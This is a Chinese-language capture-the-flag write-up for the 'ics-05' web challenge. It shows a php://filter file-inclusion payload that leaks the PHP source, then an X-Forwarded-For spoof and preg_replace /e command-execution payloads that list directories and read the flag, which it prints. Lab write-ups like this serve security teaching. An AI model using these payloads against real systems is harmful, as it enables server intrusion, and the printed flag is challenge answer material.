攻防世界-web-ics-05

打开环境

 

这么多按钮只有设备维护中心能按

 

 

在此处发现?page=index传参 

 利用php伪协议获得index.php的代码内容

page=php://filter/read=convert.base64-encode/resource=./index.php

获得base64代码

PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwoKQHNlc3Npb25fc3RhcnQoKTsKcG9zaXhfc2V0dWlkKDEwMDApOwoKCj8+CjwhRE9DVFlQRSBIVE1MPgo8aHRtbD4KCjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPG1ldGEgbmFtZT0icmVuZGVyZXIiIGNvbnRlbnQ9IndlYmtpdCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UsY2hyb21lPTEiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtYXhpbXVtLXNjYWxlPTEiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJsYXl1aS9jc3MvbGF5dWkuY3NzIiBtZWRpYT0iYWxsIj4KICAgIDx0aXRsZT7orr7lpIfnu7TmiqTkuK3lv4M8L3RpdGxlPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDx1bCBjbGFzcz0ibGF5dWktbmF2Ij4KICAgICAgICA8bGkgY2xhc3M9ImxheXVpLW5hdi1pdGVtIGxheXVpLXRoaXMiPjxhIGhyZWY9Ij9wYWdlPWluZGV4Ij7kupHlubPlj7Dorr7lpIfnu7TmiqTkuK3lv4M8L2E+PC9saT4KICAgIDwvdWw+CiAgICA8ZmllbGRzZXQgY2xhc3M9ImxheXVpLWVsZW0tZmllbGQgbGF5dWktZmllbGQtdGl0bGUiIHN0eWxlPSJtYXJnaW4tdG9wOiAzMHB4OyI+CiAgICAgICAgPGxlZ2VuZD7orr7lpIfliJfooag8L2xlZ2VuZD4KICAgIDwvZmllbGRzZXQ+CiAgICA8dGFibGUgY2xhc3M9ImxheXVpLWhpZGUiIGlkPSJ0ZXN0Ij48L3RhYmxlPgogICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2h0bWwiIGlkPSJzd2l0Y2hUcGwiPgogICAgICAgIDwhLS0g6L+Z6YeM55qEIGNoZWNrZWQg55qE54q25oCB5Y+q5piv5ryU56S6IC0tPgogICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic2V4IiB2YWx1ZT0ie3tkLmlkfX0iIGxheS1za2luPSJzd2l0Y2giIGxheS10ZXh0PSLlvIB85YWzIiBsYXktZmlsdGVyPSJjaGVja0RlbW8iIHt7IGQuaWQ9PTEgMDAwMyA/ICdjaGVja2VkJyA6ICcnIH19PgogICAgPC9zY3JpcHQ+CiAgICA8c2NyaXB0IHNyYz0ibGF5dWkvbGF5dWkuanMiIGNoYXJzZXQ9InV0Zi04Ij48L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ3RhYmxlJywgZnVuY3Rpb24oKSB7CiAgICAgICAgdmFyIHRhYmxlID0gbGF5dWkudGFibGUsCiAgICAgICAgICAgIGZvcm0gPSBsYXl1aS5mb3JtOwoKICAgICAgICB0YWJsZS5yZW5kZXIoewogICAgICAgICAgICBlbGVtOiAnI3Rlc3QnLAogICAgICAgICAgICB1cmw6ICcvc29tcnRoaW5nLmpzb24nLAogICAgICAgICAgICBjZWxsTWluV2lkdGg6IDgwLAogICAgICAgICAgICBjb2xzOiBbCiAgICAgICAgICAgICAgICBbCiAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnbnVtYmVycycgfSwKICAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnY2hlY2tib3gnIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZmllbGQ6ICdpZCcsIHRpdGxlOiAnSUQnLCB3aWR0aDogMTAwLCB1bnJlc2l6ZTogdHJ1ZSwgc29ydDogdHJ1ZSB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnbmFtZScsIHRpdGxlOiAn6K6+5aSH5ZCNJywgdGVtcGxldDogJyNuYW1lVHBsJyB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnYXJlYScsIHRpdGxlOiAn5Yy65Z+fJyB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnc3RhdHVzJywgdGl0bGU6ICfnu7TmiqTnirbmgIEnLCBtaW5XaWR0aDogMTIwLCBzb3J0OiB0cnVlIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZmllbGQ6ICdjaGVjaycsIHRpdGxlOiAn6K6+5aSH5byA5YWzJywgd2lkdGg6IDg1LCB0ZW1wbGV0OiAnI3N3aXRjaFRwbCcsIHVucmVzaXplOiB0cnVlIH0KICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgXSwKICAgICAgICAgICAgcGFnZTogdHJ1ZQogICAgICAgIH0pOwogICAgfSk7CiAgICA8L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ2VsZW1lbnQnLCBmdW5jdGlvbigpIHsKICAgICAgICB2YXIgZWxlbWVudCA9IGxheXVpLmVsZW1lbnQ7IC8v5a+86Iiq55qEaG92ZXLmlYjmnpzjgIHkuoznuqfoj5zljZXnrYnlip/og73vvIzpnIDopoHkvp3otZZlbGVtZW505qih5Z2XCiAgICAgICAgLy/nm5HlkKzlr7zoiKrngrnlh7sKICAgICAgICBlbGVtZW50Lm9uKCduYXYoZGVtbyknLCBmdW5jdGlvbihlbGVtKSB7CiAgICAgICAgICAgIC8vY29uc29sZS5sb2coZWxlbSkKICAgICAgICAgICAgbGF5ZXIubXNnKGVsZW0udGV4dCgpKTsKICAgICAgICB9KTsKICAgIH0pOwogICAgPC9zY3JpcHQ+Cgo8P3BocAoKJHBhZ2UgPSAkX0dFVFtwYWdlXTsKCmlmIChpc3NldCgkcGFnZSkpIHsKCgoKaWYgKGN0eXBlX2FsbnVtKCRwYWdlKSkgewo/PgoKICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgogICAgPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj48P3BocCBlY2hvICRwYWdlOyBkaWUoKTs/PjwvcD4KICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgoKPD9waHAKCn1lbHNlewoKPz4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KICAgICAgICA8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlciI+CiAgICAgICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgICAgICAgIDw/cGhwCgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ2lucHV0JykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ3RhOnRleHQnKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICBkaWUoKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRwYWdlLCAndGV4dCcpID4gMCkgewogICAgICAgICAgICAgICAgICAgIGRpZSgpOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICgkcGFnZSA9PT0gJ2luZGV4LnBocCcpIHsKICAgICAgICAgICAgICAgICAgICBkaWUoJ09rJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaW5jbHVkZSgkcGFnZSk7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICA/PgogICAgICAgIDwvcD4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KCjw/cGhwCn19CgoKLy/mlrnkvr/nmoTlrp7njrDovpPlhaXovpPlh7rnmoTlip/og70s5q2j5Zyo5byA5Y+R5Lit55qE5Yqf6IO977yM5Y+q6IO95YaF6YOo5Lq65ZGY5rWL6K+VCgppZiAoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10gPT09ICcxMjcuMC4wLjEnKSB7CgogICAgZWNobyAiPGJyID5XZWxjb21lIE15IEFkbWluICEgPGJyID4iOwoKICAgICRwYXR0ZXJuID0gJF9HRVRbcGF0XTsKICAgICRyZXBsYWNlbWVudCA9ICRfR0VUW3JlcF07CiAgICAkc3ViamVjdCA9ICRfR0VUW3N1Yl07CgogICAgaWYgKGlzc2V0KCRwYXR0ZXJuKSAmJiBpc3NldCgkcmVwbGFjZW1lbnQpICYmIGlzc2V0KCRzdWJqZWN0KSkgewogICAgICAgIHByZWdfcmVwbGFjZSgkcGF0dGVybiwgJHJlcGxhY2VtZW50LCAkc3ViamVjdCk7CiAgICB9ZWxzZXsKICAgICAgICBkaWUoKTsKICAgIH0KCn0KCgoKCgo/PgoKPC9ib2R5PgoKPC9odG1sPgo=

解码后获得

<?php
error_reporting(0);

@session_start();
posix_setuid(1000);


?>
<!DOCTYPE HTML>
<html>

<head>
    <meta charset="utf-8">
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <link rel="stylesheet" href="layui/css/layui.css" media="all">
    <title>设备维护中心</title>
    <meta charset="utf-8">
</head>

<body>
    <ul class="layui-nav">
        <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
    </ul>
    <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
        <legend>设备列表</legend>
    </fieldset>
    <table class="layui-hide" id="test"></table>
    <script type="text/html" id="switchTpl">
        <!-- 这里的 checked 的状态只是演示 -->
        <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
    </script>
    <script src="layui/layui.js" charset="utf-8"></script>
    <script>
    layui.use('table', function() {
        var table = layui.table,
            form = layui.form;

        table.render({
            elem: '#test',
            url: '/somrthing.json',
            cellMinWidth: 80,
            cols: [
                [
                    { type: 'numbers' },
                     { type: 'checkbox' },
                     { field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
                     { field: 'name', title: '设备名', templet: '#nameTpl' },
                     { field: 'area', title: '区域' },
                     { field: 'status', title: '维护状态', minWidth: 120, sort: true },
                     { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
                ]
            ],
            page: true
        });
    });
    </script>
    <script>
    layui.use('element', function() {
        var element = layui.element; //导航的hover效果、二级菜单等功能，需要依赖element模块
        //监听导航点击
        element.on('nav(demo)', function(elem) {
            //console.log(elem)
            layer.msg(elem.text());
        });
    });
    </script>

<?php

$page = $_GET[page];

if (isset($page)) {



if (ctype_alnum($page)) {
?>

    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />

<?php

}else{

?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php

                if (strpos($page, 'input') > 0) {
                    die();
                }

                if (strpos($page, 'ta:text') > 0) {
                    die();
                }

                if (strpos($page, 'text') > 0) {
                    die();
                }

                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />

<?php
}}


//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}





?>

</body>

</html>

看到内部人员测试，利用bp抓包把xff改为127.0.0.1

isset()函数在 PHP 中用来判断变量是否声明，此处如果这 3 个值都有传递就会执行 preg_replace()函数

preg_replace()函数执行一个正则表达式的搜索和替换

参数	说明
$pattern	要搜索的模式，可以是字符串或一个字符串数组
$replacement	用于替换的字符串或字符串数组
$subject	要搜索替换的目标字符串或字符串数组
$limit	可选，对于每个模式用于每个 subject 字符串的最大可替换次数。默认是 -1（无限制）
$count	可选，为替换执行的次数

这里的漏洞考点是preg_replace函数的命令执行漏洞，一旦pattern是/e，那么就会把替换之后的结果当作php代码直接执行，就像eval函数一样。 

利用bp抓包，添加xff头

构造原理：对于sub中参数要有pattern的内容，同时给rep前面加上"/e"构造漏洞，就可以执行rep中的php代码，sub和pat满足该函数下的规则就行，rep参数可以设置为system("ls")用于查看目录下的所有文件。

构造payload :

/index.php?pat=/123/e&rep=system("ls")&sub=123

查看到目录里面的文件

观察到有一个s3chahahaDir的文件夹，进入查看

payload： 

/index.php?pat=/123/e&rep=system("ls+s3chahahaDir")&sub=123

+号代替空格 

看到有一个flag文件

 

最后查看该文件，payload：

/index.php?pat=/123/e&rep=system("cat+s3chahahaDir/flag/flag.php")&sub=123

 

 

 cyberpeace{e2177163bfc725f4dd8906e1cc3d85af}